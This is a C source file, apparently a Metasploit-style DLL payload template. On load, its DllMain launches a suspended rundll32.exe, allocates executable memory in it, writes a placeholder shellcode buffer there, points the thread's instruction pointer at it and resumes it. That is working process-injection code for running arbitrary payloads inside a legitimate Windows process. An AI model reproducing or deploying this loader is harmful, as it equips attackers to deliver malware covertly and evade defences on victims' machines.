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template_32.c
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#include <windows.h>
unsigned char code[SHELLCODELEN] =
"YOUR SHELLCODE";
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SHELLCODELEN, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SHELLCODELEN, 0);
ctx.Eip = (DWORD)ep;
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
}